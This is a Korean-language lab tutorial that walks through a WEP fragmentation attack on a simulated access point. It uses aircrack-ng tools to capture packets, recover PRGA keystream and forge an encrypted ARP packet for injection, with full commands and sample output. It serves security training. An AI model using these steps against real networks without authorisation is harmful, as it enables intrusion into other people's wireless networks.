WEP 네트워크에 대한 단편화 공격 수행

Beginner
지금 연습하기

소개

이 실습에서는 WEP(Wired Equivalent Privacy) 로 암호화된 네트워크에 대한 단편화 공격 (fragmentation attack) 을 수행하는 방법을 배웁니다. 단편화 공격은 WEP 키 자체를 알지 못하는 상태에서 소량의 WEP 키스트림 (특히 의사 난수 생성 알고리즘 또는 PRGA) 을 획득할 수 있게 해주는 기법입니다.

이 키스트림을 획득하면 새로운 유효한 암호화된 패킷을 생성하는 데 사용할 수 있습니다. 그런 다음 이 위조된 패킷을 네트워크에 다시 주입하여 트래픽을 유도할 수 있으며, 이는 전체 WEP 키를 크랙하는 데 중요한 단계입니다.

이 작업을 수행하기 위해 aircrack-ng 도구 모음을 사용할 것입니다. 이 과정에는 대상 네트워크를 모니터링하고, 단편화 공격을 실행하여 PRGA XOR 파일을 얻은 다음, 해당 파일을 사용하여 ARP 패킷을 위조하는 작업이 포함됩니다.

airodump-ng 를 사용하여 대상 AP 에서 데이터 패킷 얻기

이 단계에서는 무선 인터페이스를 모니터링 모드로 준비한 다음, airodump-ng를 사용하여 대상 액세스 포인트 (AP) 의 트래픽을 캡처합니다. 목표는 단편화 공격에 필요한 데이터 패킷을 최소 하나 이상 캡처하는 것입니다.

먼저 무선 인터페이스를 모니터 모드로 전환해야 합니다. 이 모드를 사용하면 네트워크 카드가 자신에게 전달되는 트래픽뿐만 아니라 공기 중에 있는 모든 Wi-Fi 트래픽을 수신할 수 있습니다. wlan1 인터페이스에서 airmon-ng 명령을 사용하겠습니다.

터미널에서 다음 명령을 실행합니다.

sudo airmon-ng start wlan1

이 명령은 일반적으로 wlan1mon이라는 새 모니터 모드 인터페이스를 생성합니다. 출력에서 새 인터페이스 이름을 확인할 수 있습니다.

PHY     Interface       Driver          Chipset

phy1    wlan1           mac80211_hwsim  Software simulator
                (monitor mode enabled on wlan1mon)

이제 airodump-ng를 사용하여 대상 AP 인 "TestWEP"를 찾고 해당 트래픽을 파일로 캡처합니다. 출력 파일에 대한 BSSID(02:00:00:00:00:00), 채널 (1) 및 파일 접두사 (capture) 를 지정합니다.

이 명령을 실행합니다. AP 의 #Data 카운트가 증가하여 데이터 패킷이 캡처되고 있음을 나타낼 때까지 약 30-60 초 동안 실행합니다.

sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon

이와 유사한 출력을 보게 됩니다. #Data 열에 0 보다 큰 값이 표시될 때까지 기다립니다.

 CH  1 ][ Elapsed: 30 s ][ 2023-10-27 10:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC   CIPHER AUTH ESSID

 02:00:00:00:00:00  -30       25        5    1   1  54   WEP   WEP         TestWEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

데이터 패킷이 캡처되었음을 확인하면 Ctrl+C를 눌러 airodump-ng를 중지합니다. ls 명령을 사용하여 생성된 캡처 파일 (capture-01.cap이라는 이름) 을 볼 수 있습니다.

aireplay-ng -5 를 사용하여 단편화 공격 시작

이 단계에서는 aireplay-ng를 사용하여 단편화 공격을 시작합니다. 이 공격은 대상 AP 의 패킷을 수신 대기하며, 패킷을 캡처하면 이를 사용하여 PRGA 키스트림을 결정하려고 시도합니다.

이 공격을 위한 명령은 aireplay-ng -5입니다. 대상 AP 의 BSSID 를 -b 플래그로 지정하고 모니터 인터페이스 이름을 지정해야 합니다.

공격을 시작하려면 다음 명령을 실행합니다.

sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon

명령을 실행한 후 aireplay-ng는 적합한 패킷을 수신 대기하기 시작합니다. 터미널에 대기 중임을 나타내는 메시지가 표시됩니다.

Waiting for a data packet...
Read 221 packets...

이 도구는 공격에 사용할 수 있는 패킷을 찾을 때까지 계속해서 패킷을 읽습니다. 다음 단계에서는 적합한 패킷이 발견되면 이 프로세스와 상호 작용하게 됩니다. 지금은 실행만 하십시오.

aircrack-ng 에서 'Use this packet' 메시지 기다리기

이 단계에서는 aireplay-ng로 시작한 프로세스를 계속 진행합니다. 잠시 후 aireplay-ng가 사용할 수 있는 패킷을 캡처하고 확인을 요청할 것입니다.

도구가 패킷 세부 정보를 표시하고 사용할 것인지 묻습니다.

Waiting for a data packet...
Read 280 packets...
A suitable packet found!
Size: 68
        1.  Use this packet? (y/n)

Use this packet? (y/n) 프롬프트가 표시되면 y를 입력하고 Enter를 누릅니다.

y

확인 후 aireplay-ng는 패킷에서 PRGA 를 재구성하려고 시도합니다. 성공하면 키스트림을 현재 디렉토리 (~/project) 의 .xor 파일에 저장합니다. 출력은 다음과 유사하게 표시됩니다.

Saving chosen packet to replay_src-1027-100500.cap
Trying to get 68 bytes of keystream
Got keystream!!
Saved keystream in fragment-1027-100501.xor
Now you can build a packet with packetforge-ng

이는 공격이 성공했으며 키스트림이 저장되었음을 확인합니다. .xor 파일은 새 패킷을 위조하는 데 핵심적인 역할을 합니다.

성공적인 공격으로부터 PRGA XOR 파일 생성

이 단계에서는 단편화 공격으로 PRGA 키스트림 파일이 성공적으로 생성되었는지 확인합니다. .xor 확장자를 가진 이 파일에는 복구된 키스트림의 일부가 포함되어 있습니다.

이전 단계의 출력에서 보았듯이 aireplay-ng는 파일을 자동으로 저장합니다. ls -l 명령을 사용하여 현재 디렉토리의 파일을 나열하여 존재 여부를 확인할 수 있습니다.

ls -l

출력에는 airodump-ngcapture-01.cap 파일과 가장 중요한 새로운 .xor 파일을 포함한 여러 파일이 표시되어야 합니다. 파일 이름은 날짜와 시간에 따라 달라집니다.

total 20
-rw-r--r-- 1 root root  119 Oct 27 10:02 capture-01.cap
-rw-r--r-- 1 root root   68 Oct 27 10:05 fragment-1027-100501.xor
-rw-r--r-- 1 root root   114 Oct 27 10:01 hostapd-wep.conf
-rw-r--r-- 1 root root   96 Oct 27 10:05 replay_src-1027-100500.cap

fragment-*.xor 파일의 존재는 다음 단계에서 새 패킷을 위조하는 데 필요한 구성 요소를 가지고 있음을 확인합니다.

XOR 파일을 사용하여 주입을 위한 ARP 패킷 위조

이 단계에서는 복구된 PRGA 키스트림을 사용하여 새 패킷을 위조합니다. packetforge-ng를 사용하여 ARP 요청 패킷을 생성합니다. 이 위조된 패킷은 네트워크에 주입되어 더 많은 트래픽을 생성할 수 있으며, 이는 WEP 키 크래킹과 같은 다른 공격에 유용합니다.

먼저 공격 인터페이스 (wlan1) 의 MAC 주소를 알아야 합니다. ip addr 명령으로 찾을 수 있습니다.

ip addr show wlan1

출력에 MAC 주소가 표시됩니다. 이 시뮬레이션 환경에서는 02:00:00:00:01:00입니다.

3: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff

이제 packetforge-ng 명령을 구성합니다.

  • -0: ARP 요청 패킷을 지정합니다.
  • -a: 대상 AP 의 BSSID (02:00:00:00:00:00).
  • -h: 소스 MAC 주소 (사용자 MAC, 02:00:00:00:01:00).
  • -k: 대상 IP 주소 (일반적인 브로드캐스트 IP 인 192.168.1.255를 사용합니다).
  • -l: 소스 IP 주소 (일반적인 소스 IP 인 192.168.1.100를 사용합니다).
  • -y: .xor 파일의 경로입니다. $(ls *.xor)를 사용하여 파일을 자동으로 사용할 수 있습니다.
  • -w: 위조된 패킷의 출력 파일 이름입니다. 예: arp-packet.cap.

명령을 실행합니다.

packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap

도구가 패킷을 생성했음을 확인합니다.

Wrote packet to arp-packet.cap

이제 WEP 키를 알지 못하고 유효한 암호화된 ARP 패킷을 성공적으로 생성했습니다. ls로 생성 여부를 확인할 수 있습니다. 이 패킷은 이제 네트워크에 주입할 준비가 되었습니다.

요약

이 실습에서는 WEP 단편화 공격을 성공적으로 수행했습니다. 레거시 Wi-Fi 보안 분석의 기본적인 기술을 배웠습니다.

airmon-ng로 모니터 모드 인터페이스를 설정하고 airodump-ng를 사용하여 대상 AP 의 데이터 패킷을 캡처하는 것으로 시작했습니다. 그런 다음 aireplay-ng -5로 핵심 단편화 공격을 시작하여 WEP 키스트림의 일부를 복구할 수 있었습니다.

마지막으로 복구된 키스트림과 packetforge-ng를 사용하여 처음부터 사용자 정의 암호화 ARP 요청 패킷을 생성했습니다. 이 위조된 패킷은 WEP 키를 크래킹하는 데 필요한 수천 개의 패킷을 신속하게 생성하는 ARP 요청 재전송 공격과 같은 고급 공격에 중요한 도구입니다.